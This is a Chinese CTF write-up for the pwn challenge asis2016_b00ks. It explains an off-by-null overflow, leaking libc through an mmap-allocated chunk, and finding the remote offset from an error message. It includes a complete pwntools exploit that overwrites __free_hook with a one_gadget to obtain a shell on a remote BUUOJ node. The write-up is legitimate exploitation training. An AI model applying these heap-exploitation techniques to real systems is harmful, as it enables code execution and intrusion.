首页 > 其他分享 >asis2016_b00ks(根据报错信息确定mmap拓展偏移)

asis2016_b00ks(根据报错信息确定mmap拓展偏移)

时间:2023-11-01 14:35:51浏览次数:104  
标签:b00ks addr libc mmap free book1 报错 io sendlineafter

这个应该是大部分人学off-by-one的第一个例题,当时笔者也是只在本地去测试,最近重温又发现了一些有趣的东西

这里有个off-by-null,可以看到14行 如果i = a2就break,再让*a1 = 0,比如我们的size为10,正常我们被允许输入10个字节的数据,这里的i是从0开始的,所以是0-10,也就是11字节,多出的一字节被置0

具体这里就不展开分析了大致讲一下利用过程,如果想看更详细的,网上一堆师傅分析的都很详细

大部分做法是申请一个大块,topchunk不够用,使用mmap分配,我们去泄露这个分配地址去获得libc基址,但是这里有个问题就是不同环境下,这个偏移是不同的

首先会让输入作者名字,这个内容存放在0x555555602040位置,当然由于开了PIE,这个不是固定的,根据程序加载基址来确定,分配大小是0x20,紧跟着的是chunk的管理块,如果我们把0x20的空间写满就能打印出第一个管理堆块的地址

io.sendlineafter(b'Enter author name: ',b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch')

add(0xd0, b'aaaa', 0x20, b'bbbb'+b'\n')
add(0x21000, b'aaaa', 0x21000, b'bbbb'+b'\n')

show()
io.recvuntil(b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch')
book1_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('book1_addr  =========================>'+hex(book1_addr))

接下来利用off-by-null重写一次作者名字 把上面0x0000555555605130覆盖成0x0000555555605100,0x0000555555605100这块内容是我们可控的,可以伪造指针泄露libc

payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr+0x40) + p64(0x20)
edit(1,payload)

change(b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch')
show()

io.recvuntil(b'Name: ')
libc_addr = u64(io.recv(6).ljust(8,b'\x00')) - 0x7d4010 
success('libc_addr  =========================>'+hex(libc_addr))
free_hook = libc_addr + libc.sym['__free_hook'] 

我们上面申请0xd0就是为了让我们能控制des块的malloc指针落在00结尾的一个地址,这样我们可以伪造管理块,再去打印就会根据我们伪造的索引打印 绿色框和黄色框中的地址,这里在我本地的偏移是0x7d4010,用vmmap查看libc基址再减一下就行了,然后 改1此时相当于改 5170黄色框的内容改为free_hook,这个是2的des块索引,我们再改2就相当于在修改free_hook了

本地正常打通但是换到远程的时候是打不通的,因为mmap拓展的偏移是不一样的,这里可以选择直接free(1),由于1的索引是被我们修改过的,直接去free肯定是不合法的,会报错

io.sendlineafter(b'Enter author name: ',b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch')

add(0xd0, b'aaaa', 0x20, b'bbbb'+b'\n')
add(0x21000, b'aaaa', 0x21000, b'bbbb'+b'\n')

show()
io.recvuntil(b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch')
book1_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('book1_addr  =========================>'+hex(book1_addr))


payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr+0x40) + p64(0x20)
edit(1,payload)

change(b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch')
show()

io.recvuntil(b'Name: ')
libc_addr = u64(io.recv(6).ljust(8,b'\x00')) #- 0x5c6010
success('libc_addr  =========================>'+hex(libc_addr))
free_hook = libc_addr + libc.sym['__free_hook'] 

free(1)

从报错信息中我们能看到libc的基址是0x7f59acafb000,此时我们接收到的mmap拓展的堆块的地址是0x7f59ad0c1010 偏移是0x5c6010,填入正确偏移即可打通

远程exp:

#coding:utf8  
from pwn import *  

context(os='linux',arch='amd64',log_level='debug')

io=remote('node4.buuoj.cn',25665)

#io = process('./b00ks')
elf = ELF('./b00ks')
#libc = elf.libc
libc = ELF('./libc-2.23.so')

def add(size, name, size2, content):
	io.sendlineafter(b'> ',b'1')
	io.sendlineafter(b'Enter book name size: ',str(size).encode())
	io.sendlineafter(b'Enter book name (Max 32 chars): ',name)
	io.sendlineafter(b'Enter book description size: ',str(size2).encode())
	io.sendlineafter(b'Enter book description: ',content)
	
def free(index):
	io.sendlineafter(b'> ',b'2')
	io.sendlineafter(b'Enter the book id you want to delete: ',str(index).encode())

def edit(index, content):
	io.sendlineafter(b'> ',b'3')
	io.writelineafter(b'Enter the book id you want to edit: ',str(index).encode())
	io.sendlineafter(b'Enter new book description: ',content)
 

def show():
	io.sendlineafter(b'> ',b'4')
	#io.sendlineafter(b'Enter the book id you want to delete: ',str(index).encode())

def change(content):
	io.sendlineafter(b'> ',b'5')
	io.sendlineafter(b'Enter author name: ',content)

io.sendlineafter(b'Enter author name: ',b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch')

add(0xd0, b'aaaa', 0x20, b'bbbb'+b'\n')
add(0x21000, b'aaaa', 0x21000, b'bbbb'+b'\n')

show()
io.recvuntil(b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch')
book1_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('book1_addr  =========================>'+hex(book1_addr))


payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr+0x40) + p64(0x20)
edit(1,payload)

change(b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch')
show()

io.recvuntil(b'Name: ')
libc_addr = u64(io.recv(6).ljust(8,b'\x00')) - 0x5c6010
success('libc_addr  =========================>'+hex(libc_addr))
free_hook = libc_addr + libc.sym['__free_hook'] 
#free(1)
#gdb.attach(io)

edit(1,p64(free_hook)) 
edit(2,p64(0x4526a+libc_addr))

free(1)

io.interactive()


标签:b00ks,addr,libc,mmap,free,book1,报错,io,sendlineafter
From: https://www.cnblogs.com/s4ndw1ch/p/17803036.html

相关文章

  • 登录报错后,状态码是401并弹出登录框
    前后端分离的项目,登录失败后会弹出一个非前端页面登录框。这是因为登录失败,返回的响应表头里添加了WWW-Authenticate属性WWW-Authenticate:Basicrealm="oauth2/client"Basic认证失败时,接口返回的httpstatuscode=401时,大部分浏览器收到此响应头,会弹出下图的认证窗口来辅助用户......
  • flex-2.6.4编译报错
    在ubuntu18.04上flex-2.6.4编译折腾了好多地方都不成功。突然同事提醒,是不是版本没有更新。然后查看flex-2.6.4版本是2017年发布的,虽然它当时没有问题,但是后面其他工具升级了,这样编译工具版本高,代码版本低,有肯能会编译不出来。解决方法:降低系统版本,编译工具版本也随......
  • pod报错 pod has unbound PersistentVolumeClaims.
    1.背景部署Grafana的时候pod报错podhasunboundPersistentVolumeClaims.2.原因分析情况1.查看了grafana-data-pvc.yaml文件,发现storageClassName取数为空,当storageClassName为空的时候如果没有指定DefaultStorageClass,那么是不会分配pv给grafana-data的。情况2.查看......
  • [个人记录] datax同步Oracle数据到MSSQL - 报错提示插入重复主键
    之前试着把Oracle的数据同步到MSSQL,表到表的操作,结果提示插入重复主键,在Oracle使用的是rowid插入到MSSQL表的id主键中去,该id设置了主键约束。一开始很纳闷,怎么会重复插入主键呢?rowid不是唯一的吗?因为搞了很久没搞定,换了其他生成主键的方法也没成功,sys_guid()之类的。......
  • Mac 中安装 vue 脚手架后报错 vue: command not found
    解决方案安装node、npm查看npm全局安装位置npmroot-g正确位置/usr/local/lib/node_modules修改位置npmconfigsetprefix/usr/local重新安装脚手架sudonpminstall-g@vue/cli查看vue版本vue-v......
  • 在VScode中执行npm、yarn命令报错解
    在VScode中执行npm、yarn命令报错解我使用的是vnm安装好npm,在Windows+R界面是可以运行查看出版本的;但是在VScode中报错。查了很多资料,我这种情况的原因是在VScode中默认使用的终端是Powershell,然后我切换到系统的cmd则可以运行成功了,具体原因:在VSCode中,它使用的是独立的PowerS......
  • App支付报错"商家订单参数异常,请重新发起付款"排查流程
     今天在对接支付宝APP支付的时候遇到了一个报错,记录下问题的排查过程~  报错过程APP中弹窗提示的报错“商家订单参数异常,请重新发起付款”,检查了下参数感觉没啥问题,不知道是啥问题导致的。 去官网搜了下,折腾排查了一遍,发现是环境问题,没有切到沙箱环境导致的(*/......
  • kingbase初始化报错
    [zjh@hs-10-20-30-193Server]$rm-rfdata[zjh@hs-10-20-30-193Server]$./bin/initdb-DdataThefilesbelongingtothisdatabasesystemwillbeownedbyuser"zjh".Thisusermustalsoowntheserverprocess.Thedatabaseclusterwillbeinitializ......
  • Docker_报错:Host key for 47.116.79.175 has changed and you have requested strict
    Hostkeyfor47.116.79.175haschangedandyouhaverequestedstrictchecking.Hostkeyverificationfailed. 问题原因用OpenSSH的人都知ssh会把你每个你访问过计算机的公钥(publickey)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公......
  • 报错:The server time zone value ‘�й���׼ʱ��’ is unrecognized or represents more th
    在运行项目的时候遇到了这样一个报错,是数据库的问题但是不知道是什么原因,在网上搜了一下发现只需要在url后面加上serverTimezone=UTC这串代码就行了例如jdbc:mysql://localhost:3306/result?characterEncoding=UTF-8&serverTimezone=UTC ......